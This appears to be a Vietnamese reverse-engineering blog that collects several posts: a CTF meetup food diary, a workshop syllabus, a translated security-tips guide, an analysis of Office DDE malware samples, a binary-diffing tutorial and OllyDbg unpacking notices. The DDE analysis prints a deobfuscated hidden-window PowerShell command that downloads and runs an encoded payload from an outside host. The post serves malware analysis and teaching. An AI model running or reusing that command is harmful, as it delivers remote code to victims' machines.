Tối hôm offline thú thực tôi nhớ được hai món là cơm ranghủ tiếu (chỗ đại ka Phi Kha dẫn đi) … SG thì bia nó sẵn rồi các bạn ạ, đồ ăn chưa lên thì bia bàn nào cũng đã thấy ngập cốc adore . Thế nên, món cơm rang vừa lên là tôi tranh thủ bụp luôn, phần vì đói quá, phần vì không đớp thì lát “bão” tràn qua chắc chỉ có gục tại bàn. Bàn tôi hình như cơm rang ra trước hay sao á, lt Seamoun nhìn thấy đĩa cơm mà giống như người trong “khoa hồi sức cấp cứu” vớ được “chai dịch truyền hoa quả“, lặng lẽ cầm tô qua táp như đúng rồi 😀 . Giờ tôi mới hiểu thấu hơn vì sao đi nhậu anh em lúc nào cũng dặn quán “Cấm không cho lt gọi thứ gì dính đến tinh bột” lolz.

Ngồi đối diện tôi là đám LC/BC, nhìn đồng chí tây râu quai nón tôi nghĩ chắc nó già hơn mình, ai dè nó kém tôi gần chục, chưa kể em gái cùng team, đúng là gái Nga, vừa trẻ (hình như 21), vừa xinh. Tôi nghĩ đám này thi Meepwn CTF cả ngày rồi nên đói, thế nên món mới cứ lên là tôi dụ mấy đồng chí này thử, tôi nhớ mình dụ họ ăn rau diếp cá 😀 (ở VN nhiều người không ăn được rau này đâu), ăn hạt tiêu sọ, rồi đủ thứ … chắc tôi ép ăn nhiều quá, họ sợ chạy mọe sang bàn khác ngồi uống bia lolz.

Tan nhậu, tính chuẩn bị bắt taxi lộn về Q2 thì được tin đại ka Phi Kha rủ đi ăn hủ tiếu đêm. Đại ka quảng cáo quán hủ tiếu này ngon nhất lục tỉnh Nam Kỳ. Thế là đoàn người, lúc đó chắc còn hơn chục, gồm: Đại ka Kha, lđ Seamoun, lđ Đức Abe, lđ Dương K4i; lđ Quảng_Viettel; ku em HuyNA, Quân Đoàn, tôi và ku em Điện, cùng vài người nữa không nhớ rõ, từng tốp bắt taxi tới địa chỉ quán.

Hix, lúc lên xe cũng tầm muộn nên ai cũng mệt rồi, tưởng lđ K4i với ku em Quân Đoàn thế nào, lên xe báo địa chỉ làm bác tài drift một phát đáp thẳng ra Q10, trong khi quán nằm ở Q5. Xuống xe đi bộ chối chết, hai thầy trò Crypto vừa đi vừa tâm sự … lúc alo để lấy lại thông tin quán, nhìn hai thầy trò nhà này thực hiện “cryptanalysis” mà tôi nghĩ chắc về bảo ông con nhà tôi thôi đừng học toán nữa 😀 . Tới được quán thì anh em cũng đã ăn gần xong rồi 😦 , gọi được tô hủ tiếu..tôi nói thật lúc đó chỉ cắm mặt vào ăn không ngẩng mặt lên được … đúng như quảng cáo “ngon nhất lục tỉnh Nam Kỳ“. Bạn nào ở SG nhớ ghé quán này nhá : Hủ tiếu Cả Cần 110 Hùng Vương, phường 09, quận 05.

Ngày cuối cùng ở SG, tôi với ku em Điện lượn ra chỗ khu Nhà thờ Đức Bà vì cũng tiện đường ra sân bay, và cùng vì tới SG người ta hay ra khu này giống như sang Sing dân mình hay ra chỗ “con mèo” chụp ảnh check-in á 😀 .

Đang lang thang ở khu Nhà thờ thì bắt gặp ngay “thợ đục lỗ” kiêm shipper Mạnh Luật đang đi bán áo dạo, tiện tay tôi mua luôn hai cái 😀

l4w  

Lát sau, chui vào quán cafe mà lúc nhắn địa chỉ, lđ Dương K4i bảo “sang chảnh vãi nồi” … tôi đâu biết, đi bộ loanh quanh mỏi chân quá, thấy có quán thì táp vào thôi 😦

caphejpg  

Rời quán cafe, anh em tôi được lđ Dương K4i mời đi ăn quán Cơm tấm sườn, địa chỉ quen thuộc khi lđ vào công tác ở Sài Thành. Cảm ơn lđ vì bữa cơm 😀 … ngon quá mà giờ tôi quên mất cả địa chỉ 😦

 
#trà_đá_hacking#7 #Sài_Gòn #những_người_bạn #See_ya IMG_20180827_105048

Cuối tháng 8 này, hội thảo #Tràđáhacking_#7 sẽ được tổ chức tại Sài Gòn (thông tin các bạn có thể xem tại http://event.tradahacking.vn/ hoặc https://www.facebook.com/tradahackingvn/) . Tôi có may mắn nhận được lời mời của g4mm4 (Co-Founder của CyberJutsu) , thành viên của nhóm VNSecurity  vào Sài Thành làm một Training Workshop cơ bản về RE (Reverse Engineering) trong vòng 2 ngày.

Và tôi đã nhận lời!! Lý do rất đơn giản: Trà Đá là nơi tôi quen được những người bạn nói thật và làm thật, mong muốn giúp thúc đẩy phong trào học tập và nghiên cứu An Ninh thông tin chuyên sâu, cũng như tạo ra một không gian trao đổi và nghiên cứu cho cộng đồng nói chung và các bạn trẻ yêu thích hacking/security ở Việt Nam nói riêng…., éo phải những hội thảo mà người ta chỉ đến đó để ngủ, kiếm bữa buffet miễn phí và xoa bụng đi về … 29

Nếu thiên thời, địa lợi và nhân hòa (có người đi học 4): Khóa đào tạo tổng quan về RE và các kĩ thuật liên quan này sẽ dành cho những bạn mới bắt đầu và muốn tìm hiểu về RE. Tôi sẽ chia sẻ về dịch ngược và các công việc liên quan tới lĩnh vực dịch ngược, kiến thức cơ bản về Assembly, cách nhận biết và chuyển đổi lệnh Assembly sang ngôn ngữ bậc cao, tổng quan về IDA (một trong những công cụ được nhiều chuyên gia trên thế giới sử dụng), các kĩ thuật cơ bản về Packing/Unpacking, Anti-disassembly & Anti-Debugging. Hi vọng với kiến thức hạn hẹp (vì RE lĩnh vực đòi hỏi nhiều kiến thức rộng) mà tôi chia sẻ, sẽ phần nào giúp các bạn phát triển các kĩ năng khác nhau phục vụ cho các lĩnh vực có sử dụng tới kĩ thuật dịch ngược như Malware Analysis, Exploit Development, Cracking (For fun)…”

Bạn nào có quan tâm vui lòng xem link đăng kí chi tiết tại đây https://goo.gl/BicLEw hoặc theo dõi tại website của ban tổ chức để có những cập nhật mới nhất.

Syllabus dự kiến (chắc sẽ có nhiều kiến thức các bạn đã đọc hoặc đã biết ở đâu đó, nếu bạn nào biết tôi mời lên giảng thay tôi luôn, tiền talk tôi cũng xin gửi lại cho người nói 🙂 ):

1. Reverse Engineering & Skill Requirements:
- Introduction to Reverse Engineering (What's RE? Use of RE? Related Jobs)
- RCE Skills
- Tools of Trade
+ PE Analyzer
+ Hex Editor
+ Disassembler
+ Debugger
+ Decompiler
+ System Monitorings
- Resources:
+ Links
+ Books

2. x86 Assembly Adventures:
- Review basic background
+ Number systems overview (Binary/Decimal/Hexadecimal)
+ Bit, Byte, Word, Dword
- x86 Assembly 101
+ Assembly language (Intel syntax)
+ Machine code
+ Big & Little Endian
+ x86 Registers (8 "general purpose" & instruction pointer register)
+ Instructions reference registers, immediate values and memory
+ Access Memory (directly/ indirectly)
+ Learned around 23 ASM instructions through examples
+ Stack operations; Control flow; Loop; Calling conventions...
+ Function prologue / epilogue

3. Recognizing code constructs in Assembly:
- Why need to recognize code constructs
- Inferring high level logic from ASM instructions
+ Global vs. Local variables
+ Decision Making or Branching (if; if-else; nested if; switch)
+ Looping (for loop; while loop)
+ Compound expressions
+ Function
+ Array
+ Structure

4. Introduction to IDA Pro
- Introduction to IDA Pro
- Useful Windows for Analysis
- IDA Navigation
- Using Cross-References
- IDA Interaction
- IDA Database
- Recognizing C Code Constructs in IDA
- Debugging a Binary
- Some useful plugins

5. Packers and Unpacking Techinques
- Packer Anatomy (What's packers? Type of packers; Packing Terms)
- Packing Demo
- What happens when double clicked a packed file ?
- Identifying Packed Programs
- Automated Unpacking (Howto)
- Manual Unpacking steps & demo

6. Anti-disassembly & Anti-Debugging Techniques
- Problem & Why?
- Basic Anti-Disassembler technique
- Anti-Debugging Techniques: API based anti-debugging; Manual Debugging Checks; Identifying Debugger Behavior
- Fun with some examples
- Swiss Army Knife - anti-anti-debug plugins

P.S: Tôi không phải chuyên gia đầu ngành hay đầu đít gì hết, có nhiều người giỏi hơn tôi, nhưng chắc do anh em bạn bè tôi quen đều bận cả nên tôi bỗng dưng bị gán cái mác là “thầy” 6d1dd-1___0ba8mloc5or0b8pi5tq … Hoặc do cái lĩnh vực này nó khù khoằm quá nên ít người thích dạy. Nhiều bạn cứ nghĩ học 1-2 ngày là thành “chuyên gia” này nọ, xin lỗi tôi không có khả năng để biến bạn thành một ai đó … Nhiều bạn đi học cứ nhăm nhăm vào những thứ cao siêu (ngay cả tôi cũng không biết) mà quên đi cái cốt lõi là kiến thức nền tảng cơ bản… Và còn nhiều …

#trà_sữa #tocotoco #2days #full_clip #x69

Một lần nữa tôi xin gửi lời cảm ơn trân trọng nhất tới g4mm4!! 36

Regards,

m4n0w4r

 


Lời tựa:

Toàn bộ bài hướng dẫn này được viết ra với sự giúp đỡ của sáu hacker chuyên nghiệp: Maarten van Dantzig, Rik van Duijn, Melvin Lammerts, Loran Kloeze, Sanne MaasakkersSijmen Ruwhof. Các hình ảnh minh hoạ sinh động trong bài viết được thực hiện bởi Laura Kölker. Bài viết được biên tập lại bởi Marcel Vroegrijk để đảm bảo người đọc có thể dễ dàng tiếp cận. Phiên bản gốc bằng tiếng Hà Lan của Watch Your Hack (https://laatjeniethackmaken.nl/) đã được dịch sang tiếng Anh bởi Kevin Shuttleworth tại (https://watchyourhack.com/) và được Marcel Vroegrijk chỉnh sửa lại thêm một lần nữa.

Nếu bạn thấy ai đó có nhu cầu áp dụng các mẹo và thủ thuật bảo mật, xin hãy gửi cho họ đường link của các trang web này. Bạn có thể chia sẻ thông qua các hình thức như e-mail, Twitter, FacebookWhatsApp. Nếu bạn có bất kì ý kiến hay đề nghị nào, hãy gửi qua Twitter (@danielverlaan) hoặc qua email cho tác giả.

Bạn cũng có thể đóng góp một khoản tiền nhỏ để hỗ trợ Watch Your Hack. Với 5 USD mà bạn đóng góp sẽ được dùng để trả tiền thuê máy chủ hàng tháng, hoặc để tác giả tự thưởng cho mình một ly bia . Bạn có thể chuyển tiền qua PayPal hoặc iDeal. Tiền điện tử cũng được chấp nhận:

bitcoin: 1Psq1MmgPSKy8npnAvZASdtPD18EV61U3k

ethereum: 0x264510031A8F0b55432232F65337a67cA3Eb23bB

litecoin: Lg8sxK3bk4zvdmpHHLsV76gsw9v8wbAk2S

Toàn bộ hướng dẫn này đã được tác giả đồng ý cho phép tôi dịch sang tiếng Việt và chia sẻ lại cho người thân, bạn bè của tôi, nhằm giúp mọi người nâng cao kiến thức cũng như qua đó tự bảo vệ bản thân mình trên không gian mạng. Nội dung bản dịch này, theo đúng yêu cầu của tác giả, tôi đã cố gắng tuân thủ và tôn trọng bản gốc và bản dịch tiếng Anh. Và cũng như trên, nếu bạn thấy bài dịch này của tôi có ích, hãy chia sẻ nó cho những người khác!!!

Link download bản dịch tại đây:

https://mega.nz/#!GfRkmQzS!bi_U3Mc_tA3xeQUKiX27NH-oeHLpc1MrYgibUZC7qtc

Regards

m4n0w4r


Thông tin mô tả sơ lược về Dynamic Data Exchange (DDE) tại đây: https://tinyurl.com/y9wbg2zr

Các sample sử dụng trong bài viết:

Công cụ sử dụng: Profiler (Một công cụ bổ trợ cho những ai đang làm việc trong lĩnh vực phân tích mã độc và forensic).

Trong bài viết này (tham khảo link gốc: http://cerbero-blog.com/?p=1701), tôi sẽ sử dụng công cụ Profiler (phiên bản hiện tại của phần mềm này đã bổ sung khả năng phát hiện DDE) để kiểm tra các DDE field code.

Mở sample thứ 1 trong Profiler, sau khi parse xong ta có kết quả như sau:

Như trên hình, tôi nhận thấy tệp document.xml được Profiler đánh dấu màu hồng, hàm ý có chứa nội dung độc hại. Nhấp đúp vào file này, Profiler sẽ thông báo cho ta khả năng đây có thể là một tấn công lơi dụng tính năng DDE của Office.

Toàn bộ mã DDE đã được attacker lồng ghép trong đống XML loằng ngoằng ở trên, gây khó khăn trong quá trình đọc và tìm kiếm. Profiler cung cấp một số tính năng hữu ích, hỗ trợ việc chuyển đổi để làm sạch và trích xuất nội dung cần tìm. Nhấn Ctrl + R (Execute action) để thực hiện việc chuyển XML->To text:

Tiếp theo thực hiện Text->Strip với kết quả có được ở bước trên:

Sau khi thực hiện xong hai bước trên, kết quả tôi có được đoạn text sau:

Đoạn script ở trên rất rõ ràng, thực hiện tải xuống một file powerhell từ URL (http://ec2-54-158-67-5.compute-1.amazonaws.com) và sau đó thực thi powershell này.

Với sample thứ 2, cũng thực hiện theo cách tương tự như trên, kết quả có được:

Đoạn code khá giống với sample trước, sample này cũng thực hiện download một file về để thực thi trên máy nạn nhân, chỉ khác là ở sample này file download về là một JS script.

Load sample thứ 3 vào Profiler:

Ở sample này có thể thấy toàn bộ payload của DDE đã bị obfuscate bởi attacker. Vì các chuỗi này nằm trong các thuộc tính của XML, do đó không thể áp dụng bước XML->To text được. Ta phải đọc và dò bằng tay để xóa, may mắn là chỉ có 3 đoạn có sử dụng “QUOTE” như vậy. Kết quả sau khi xóa bằng tay:

Nhìn vào đây thì ta có thể thấy các số này sẽ tương ứng với các chữ cái trong bảng mã ASCII. Ví du: 67 58 92 80 114 111 103 sẽ là C : \ P r o g. Profiler hỗ trợ cho phép thực thi Python script, do đó ta sử dụng một đoạn script nhỏ thực hiện chuyển đổi toàn bộ các số ở trên thành dạng hex string:

Kết quả có được sau khi thực hiện script:

Sau đó, chọn toàn bộ chuỗi hex vừa sinh ra và thực hiện Conversion-> Hex string to bytes:

Các bytes được decode ở dạng hex như sau:

Chọn toàn bộ hex string trên và chọn Copy -> Ascii, ta có được DDE code đầy đủ như sau:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later

Qua đây có thể thấy rằng, Microsoft Office là một ứng dụng phổ biến được sử dụng trong mọi tổ chức. Chính việc sử dụng rộng rãi cùng với nhiều tính năng mà công cụ này đem lại, đã khiến Microsoft Office trở thành mục tiêu được nhắm tới nhiều nhất của các attacker. Theo thống kê của Kaspersky, trong quý I năm 2018, tỷ lệ cuộc tấn công nhắm vào Microsoft Office đã tăng lên gần 50%.


Lâu rồi không viết lách gì, blog mốc hết cả!!

Trong bài này tôi sẽ giới thiệu với các bạn về các công cụ bổ trợ cho IDA trong việc so sánh sự khác nhau giữa hai binary.

Nếu các bạn là dân dev, hay dân văn phòng suốt ngày lọ mọ với một mớ code/ tài liệu thì chắc sẽ chẳng lạ gì với việc tự làm “bằng cơm” hoặc sử dụng công cụ chuyên dụng để so sánh sự khác nhau/ sai khác trong cùng một source code hoặc giữa cùng một tài liệu tại những thời điểm khác nhau.

Tôi lấy ví dụ về việc so sánh giữa hai file văn bản: bên trái là file gốc vs bên phải là file đã chỉnh sửa (nhưng chữ sửa trong file để font màu trắng). Nếu không dùng tool mà làm “bằng cơm” để kiểm tra sự thay đổi, tôi đố các bạn tìm được 🙂

Với các file binary cũng vậy, công cụ differ cũng sẽ cho ta biết sự khác biệt/ thay đổi giữa hai phiên bản của cùng một chương trình, các công cụ này sẽ cố gắng thực hiện phân tích, so khớp các hàm trong chương trình và đưa ra kết qủa về những hàm có sự thay đổi và thay đổi ở đâu.

Ta thấy rõ ràng để thực hiện công việc này không phải là dễ dàng, đặc biệt là khi có những thay đổi lớn từ phiên bản này sang phiên bản khác, sự thay đổi này có thể đến từ việc cập nhật các bản vá bảo mật để giải quyết các lỗ hổng tồn tại trong chương trình, hoặc có thể là những cải tiến mới trong tính năng của chương trình, v.v… Với dân chuyên crack soft hoặc tìm hiểu cracking thì việc so sánh giữa file gốc và file đã patch có thể giúp cho họ tìm hiểu được cách patch của các cracker khác. Với dân chuyên nghiên cứu exploit thì việc làm này có thể giúp họ biết được một bản vá bảo mật có giải quyết được triệt để lỗi hay không? Hay là patch lỗi này lại sinh ra lỗi khác có thể khai thác được.

Tính tới thời điểm hiện tại, cá nhân tôi biết được có 3 công cụ differ sử dụng kết hợp với IDA. Trong bài viết này (tham khảo từ bài viết của thầy Ricardo Narvaja), tôi sẽ giới thiệu lần lượt các công cụ này và tùy cảm nhận của từng người mà lựa chọn cho mình công cụ phù hợp hoặc sử dụng kết hợp.

1. BinDiff

Công cụ phải nói tới đầu tiên chính là BinDiff, mục tiêu của nó là một công cụ hỗ trợ so sánh các tập tin nhị phân nhằm giúp các chuyên gia nghiên cứu lỗ hổng có thể nhanh chóng tìm thấy sự khác biệt và tương đồng trong mã chương trình được phân rã ở dạng câu lệnh asm. Công cụ này được phát triển bởi Zynamics, công ty này sau đó được Google mua lại vào năm 2011. Phiên bản mới nhất tính đến thời điểm của bài viết này là BinDiff v4.3. Thông tin chi tiết về BinDiff có thể tìm đọc tại đây: https://www.zynamics.com/software.html

Các bạn download về và tiến hành cài đặt. Việc cài đặt BinDiff dễ như các bạn cài Win dạo, khác mỗi là bạn không phải kiếm cr@ck thôi, chú ý là trên máy cần phải cài đặt Java Runtime Enviroment (JRE) trước nhé. BinDiff hiện chỉ hỗ trợ cho IDA 6.x, chưa có plugin cho 7.x.

Để minh họa cho việc sử dụng BinDiff, tôi sẽ sử dụng các file .idb có sẵn: một file có vuln và một file đã được fix. Mở IDA lên và load database của file có vuln (VULNERABLE_o_NO.idb) vào:

Sau khi IDA load xong database của file có vuln, truy cập menu Edit > Plugins và chọn BinDiff 4.3:

Cửa sổ BinDiff sẽ xuất hiện như hình dưới:

Tiếp theo chọn Diff Database… và tìm tới database của file đã fix vuln để so sánh:

BinDiff sẽ chạy và phân tích hai databse này:

Sau khi thực hiện xong, BinDiff sẽ hiển thị kết quả cho chúng ta. Có thể các cửa sổ của BinDiff tại IDA của các bạn sẽ không giống như tôi, các bạn có thể thực hiện drag & drop để lựa chọn một chế độ xem phù hợp nhất:

Tab mà chúng ta quan tâm là “Matched Functions”:

Tại đây, các ban sẽ thấy cột đầu tiên (similarity) cung cấp kết quả về sự giống nhau giữa các hàm, Theo kinh nghiệm của nhiều người đã dùng BinDiff thì nếu giá trị trả về bằng 1.00 thì có nghĩa là hai hàm đó hoàn toàn giống nhau, không có thay đổi gì, ngược lại nếu giá trị này < 1.00 thì có nghĩa là cùng một hàm nhưng đã có sự thay đổi, khác biệt. Để dễ dàng và thuận tiện thì chúng ta chỉ việc nhấp chuột vào đầu cột đó để sắp xếp chúng theo kết quả từ khác nhau đến giống nhau. Tương tự như hình:

Theo kết quả có được như trên hình, ta thấy rằng ở đây chỉ có một điểm tương đồng nhỏ hơn 1. Nhấn chuột phải tại đó và chọn View Flowgraphs hoặc nhấn phím tắt là Ctrl+E:

Lúc này, plugin sẽ sẽ gọi tới bindiff.jar trong thư mục cài đặt của BinDiff để hiển thị FlowGraphs của hai hàm có sự thay đổi ở trên:

Như trên hình, ta thấy các khối được highlight bằng màu xanh, đó là những khối có code giống nhau, còn khối được highlight bằng màu vàng là khối có sự thay đổi và những câu lệnh thay đổi cũng được BinDiff highlight bằng những màu khác nhau để ta có thể dễ dàng nhận ra:

Như trên hình, các bạn sẽ nhận thấy được sự thay đổi ở lệnh nhảy, và chúng ta cũng đã biết việc đổi từ lệnh nhảy JLE thành JBE là cách để chương trình tránh bị dính lỗi Buffer Overflow, do vậy nếu trong một chương trình mà ta có cả phiên bản bị lỗi và phiên bản đã được vá lỗi, sau khi so sánh và nhìn vào các hàm đã thay đổi thì chúng ta sẽ phải thực hiện reverse lại hàm đó để xem nó có thực sự là lỗ hổng của chương trình hay không.

Một trong những ưu điểm của BinDiff so với hai công cụ sắp được đề cập là ngoài việc hỗ trợ chế độ đồ họa tương tác rất tốt, khả năng parse trực tiếp các file .idb mà không cần phải tạo ra các file trung gian thì nó còn cung cấp khả năng tìm kiếm rất tiện lợi, qua đó ta có thể tìm kiếm địa chỉ và bất kỳ đoạn text nào. Ví dụ, tôi thực hiện tìm kiếm chuỗi “cmp”:

Bên cạnh đó, BinDiff hỗ trợ sao chép địa chỉ của khối có thay đổi, qua đó ta có thể đi tới được khối này trong IDA bằng việc nhấn G và dán địa chỉ đã copy vào:

BinDiff cũng cung cấp một cửa sổ nhỏ tương tự như cửa sổ Graph Overview của IDA để giúp dễ dàng di chuyển, quan sát các hàm cùng danh sách các khối đã được phân rã:

Như các bạn thấy BinDiff cung cấp cho chúng ta một giao diện cùng các tính năng hữu ích, với những file đơn giản như trong ví dụ này thì các bạn thấy có vẻ dễ dàng, tuy nhiên với các ứng dụng lớn và phức tạp hơn thì sẽ không ngon ăn như thế này đâu.

“Dễ thế này thì Đông Lào người ta đi săn bug hết!!”

Do BinDiff hiện tại chỉ hỗ trợ IDA 6.x, với phiên bản IDA 7.x thì phải sử dụng BinExport (https://github.com/google/binexport) để xuất ra file và import vào Bindiff để so sánh. Phiên bản BinExport mà tôi đang sử dụng được build bởi bạn Ngôn Nguyễn (aka @computerline). Cách thức thực hiện như sau, đầu tiên load db của file có lỗi (VULNERABLE_o_NO.idb) vào IDA 7.x. Sau khi load xong, vào Edit > Plugins chọn BinExport:

Giao diện của BinExport sẽ xuất hiện, chọn BinExport v2 Binary Export:

Sau đó lưu lại với tên bất kì với phần mở rộng là .BinExport (ví dụ: VULNERABLE_o_NO.BinExport)

Tiếp theo, dùng IDA load db của file đã fix lỗi (NO_VULNERABLE.idb) và cũng thực hiện tương tự như trên, lưu thành file có tên là NO_VULNERABLE.BinExport:

Sau khi có hai file được export bằng BinExport, chạy trực tiếp Bindiff và load hai file này vào để so sánh:

Sau khi nhấn Diff thì bên tab Workspace sẽ hiển thị tên hai file được so sánh và tab Overview sẽ cung cấp kết quả so sánh:

Nhấp đúp vào tên hai file được so sánh tại tab Workspace, BinDiff sẽ hiển thị kết quả chi tiết:

Tiếp theo, chọn Matched Functions, sắp xếp lại theo mức độ tương đồng (Similarity):

Cuối cùng, nhấn chuột phải tại hàm có sự khác biệt, chọn Open Flow Graph và phân tích kết quả trả về:

2. Turbodiff

Công cụ cho phép so sánh binary tiếp theo là TurboDiff. Đây là một plugin được code bởi tác giả Nicolas Economou (@NicoEconomou), là đồng nghiệp trước đây với thầy Ricardo Narvaja tại Core Security. Các bạn có thể download plugin này tại: https://www.coresecurity.com/corelabs-research/open-source-tools/turbodiff, tuy nhiên đây là phiên bản cũ. Phiên bản mà thầy Ricardo Narvaja sử dụng là phiên bản mới hơn. Việc cài đặt rất dễ, chỉ việc chép file turbodiff.plw vào thư mục plugins của IDA là xong.

Tương tự như đã làm với BinDiff, nhưng khác chút là ta load database NO_VULNERABLE.idb của file đã fix lỗi trước. Sau khi IDA load xong, vào menu Edit > Plugins và chọn Turbodiff:

Để so sánh được thì TurboDiff cần phải lấy thông tin từ file .idb:

Lựa chọn “take info from this idb” và nhấn OK, turbodiff sẽ phân tích và tạo ra 2 file có đuôi mở rộng là .dis và .ana:

Sau đó, mở database của file có lỗi và cũng làm tương tự như trên:

Khi phân tích xong, ta tiếp tục chọn turbodiff một lần nữa, nhưng lần sẽ thực hiện so sánh bằng cách chọn “compare with…” và nhấn OK:

Chọn file cần so sánh là db của file đã được fix lỗi:

Giữ nguyên cấu hình mặc định của turbodiff và nhấn OK:

Ta sẽ có được kết quả như sau:

Tại tab “Turbodiff results” ta nhấn CTRL + F và tìm kiếm từ khóa là “changed” hoặc “suspicious” để hiển thị những chỗ thay đổi:

Sau khi có được kết quả như hình, nhấp đúp vào đó, turbo diff sẽ sử dụng wingrap32 để hiển thị flow graph:

Như các bạn thấy turbodiff đã cung cấp thông tin về khối lệnh có sự thay đổi. Tương tự như Bindiff, turbodiff cũng sử dụng một mã màu để biểu diễn cho tỉ lệ thay đổi, màu xanh lá cây được sử dụng cho các khối có những thay đổi ít, màu vàng sẽ dùng cho các khối có thay đổi nhiều và màu đỏ sử dụng cho các khối được thêm vào. Rõ ràng, về mặt đồ họa và khả năng tương tác thì không thể so sánh được với Bindiff, nhưng bù lại là tốc độ của Turbodiff thực sự rất nhanh. Hiệu năng là điều rất đáng quan tâm nếu áp dụng với các file có kích thước lớn và nó không hiển thị quá màu mè như Bindiff. Một điểm khác nữa với Bindiff là Turbodiff phải parse database của IDA thành các file trung gian rồi mới so sánh.

3. Diaphora

Công cụ so sánh binary cuối cùng mà tôi giới thiệu với các bạn là diaphora, đây là một plugin do Joxean Koret (@matalaz) viết bằng Python. Joxean Koret là tác giả của cuốn sách “The Antivirus Hacker’s Handbook” và hình như có quen biết với anh Quỳnh khi làm việc ở Coseinc. Để sử dụng được diaphora các bạn có thể download tại đây: https://github.com/joxeankoret/diaphora. Tính đến thời điểm hiện tại diaphora không còn hỗ trợ IDA 6.8 nữa, mà chỉ làm việc với IDA Pro 6.9, 6.95 và 7.0.

Tương tự như đã làm với các công cụ trước, đầu tiên ta load db của file đã fix lỗi vào IDA trước. Do là dạng python script, nên để chạy được diaphora ta vào File > Script File…

Tìm tới thư mục chứa file diaphora.py và lựa chọn file này để chạy:

Màn hình Diaphora sẽ xuất hiện, ta có thể lựa chọn đường dẫn để lưu file SQLite db cho file hiện tại đang phân tích bởi IDA hoặc giữ nguyên đường dẫn mà Diaphora thiết lập:

Sau đó nhấn OK để Diaphora tiến hành công việc phân tích và lưu thành file sqlite:

Thực hiện tương tự với file có lỗi:

Sau khi thực hiện xong hai bước trên ta sẽ có được 2 file sqlite để phục vụ cho việc so sánh. Tiếp theo, ta mở lại diaphora.py (lúc này IDA đang mở db của file có lỗi):

Ở phần “SQLite database to diff against”, ta tìm đến file sqllite được tạo ra trước đó của file đã fix lỗi. Chọn file này và nhấn Open:

Cuối cùng nhấn OK để Diaphora tiến hành xử lý vá so sánh. Diaphora sẽ hỏi như hình dưới, chỉ việc nhấn Yes là xong:

Sau khi compare xong, diaphora sẽ hiển thị 2 tab mới tại IDA với tên là Best matchesPartial matches. Tại tab Best matches là các hàm giống nhau hoàn toàn và không thay đổi, nên ta không cần quan tâm tới tab này:

Tab Partial matches sẽ cung cấp cho chúng ta thông tin về các hàm có khả năng khác nhau:

Ta thấy diaphora đã tìm được hai hàm bị thay đổi như trên. Về cơ bản, chủ quan mà nói tôi thấy diaphora cho kết quả hên xui so với Bindiff và Turbodiff, nếu chạy với IDA7 thì không ra được Partial maches, chạy với IDA 6.8 thì mới ra được kết quả mong muốn. Ngoài ra, do được viết bằng python nên diaphora chạy khá lâu, theo tôi thì nó chạy lâu nhất, gặp phải db lớn là xác định ngồi đợi. Để xem được sự thay đổi ở một hàm nào đó, nhấn chuột phải tại hàm đó và chọn chế độ Diff assembly in a graph:

Kết quả có được như hình dưới đây:

Chế độ graph này của diaphora nhìn có vẻ tốt hơn Turbodiff một chút, nhưng cũng không cho ta khả năng tương tác như ở Bindiff, khối quan trọng đã thay đổi được highlight bằng màu đỏ, còn màu vàng là khối có những thay đổi nhỏ, ví dụ như ta đổi tên của một biến. Ngoài ra, diaphora còn cung cấp tùy chọn khác là Diff pseudo code, sử dụng Hexrays decompiler đi kèm với IDA để xây dựng lại mã nguồn của file thực thi. Kết quả có được khi lựa chọn tùy chọn này như hình dưới đây:

Hết!

“Bạn nào thấy dở thì nhớ Follow, nhấn Like để ủng hộ nhé!” ← Tôi học câu này từ mấy kênh trên YouTube

 

 

 


C9X3VbkVoAA6xJO.jpg large

Tới đây, dự kiến vào hai ngày thứ Năm và thứ Sáu 29,30/3/2018, tôi sẽ dành thời gian đào tạo những kiến thức cơ bản về “Lập trình và Reverse Engineering“. Lý do có khóa đào tạo này là bởi: “Kiến thức tôi có được là do thu lượm từ cộng đồng … do đó, tôi muốn chia sẻ lại để tạo động lực cho những bạn nào có nhu cầu, để từ đó các bạn có thể tiếp tục đi tiếp.”

Bạn nào có quan tâm (hoặc đơn giản chỉ muốn gặp tôi xin chữ kí sexy_girl) vui lòng xem chi tiết tại đây.

Regards,

m4n0w4r

2016-04-21_18-33-26


Ở các phần trước, tôi đã hướng dẫn chi tiết quá trình unpack một unpackme được packed bởi tElock có áp dụng kĩ thuật chuyển hướng IAT (IAT redirected). Trong các phần tới đây, nếu có thời gian tôi sẽ tiếp tục nâng dần độ khó của packer lên. Với phần này, tôi sẽ dành thời gian để thực hành với một unpackme khác là UnPackMe_YodasCrypter1.3.e.exe.

Để đảm bảo cho quá trình làm việc với các packers, OllyDbg cần được trang bị các plugins cần thiết để tránh bị phát hiện bởi các cơ chế anti-debug. Các plugins thì các bạn có thể tìm đọc trong các phần tôi viết về Anti-Debug hoặc tìm hiểu thêm thông qua các trang khác như tuts4you.com, v.v…

Download toàn bộ bài viết tại đây:

https://mega.nz/#!a0kX0ISC!Se1ABV9eySLlkpn3hYIL4OSzBemQYPeYRWkzNRj3Nug

Regards,

m4n0w4r

OllyDbg_tut31

Posted: December 16, 2017 in OllyDbg_tut31, Uncategorized
Tags: ,

Đã quá lâu để ai đó còn nhớ về một bộ tut còn đang dang dở …  too_sad Tính ra mỗi  phần trung bình cỡ gần 20 trang giấy, tính cả tut này nhân lên thì tôi đã viết khoảng 600 trang …29 Tôi đang nghĩ không biết sau này có nên đóng lại thành quyển để xuất bản bán lấy tiền hay không? extreme_sexy_girl

Ở phần trước, thông qua UnPackMe_tElock0.98.exe, tôi đã giới thiệu với các bạn về kĩ thuật IAT Redirection, một kĩ thuật rất hay gặp ở các packers/protectors. Trong phần 31 này, tôi sẽ áp dụng một số phương pháp fix IAT, để làm sao khi ImpREC thực hiện Get Imports thì thông tin về hàm API thu được sẽ đầy đủ nhất phục vụ việc fix dump. Đảm bảo cho file sau khi fix chạy mượt mà, không lỗi.

Cũng tương tự như phần trình bày các phương pháp làm thế nào để tới được OEP, ở phần này tôi cũng sẽ áp dụng một số phương pháp tổng quát nhất, để sau đó, khi chúng ta gặp các trình packers khác, ta sẽ tùy biến các phương pháp này hoặc nghiên cứu một cách thức hoàn toàn mới nhằm phù hợp với tính huống thực tế mà ta đang gặp phải, có thể chưa được đề cập đến trong bài viết này.

Download toàn bộ bài viết tại đây:

https://mega.nz/#!D4EjgICK!_JHdeZCTHbuC2bLLjG4-_I6Fs8YSZAcE7ksfnukBUT4

Regards,

m4n0w4r

ST:

Hôm ấy mê man uống,
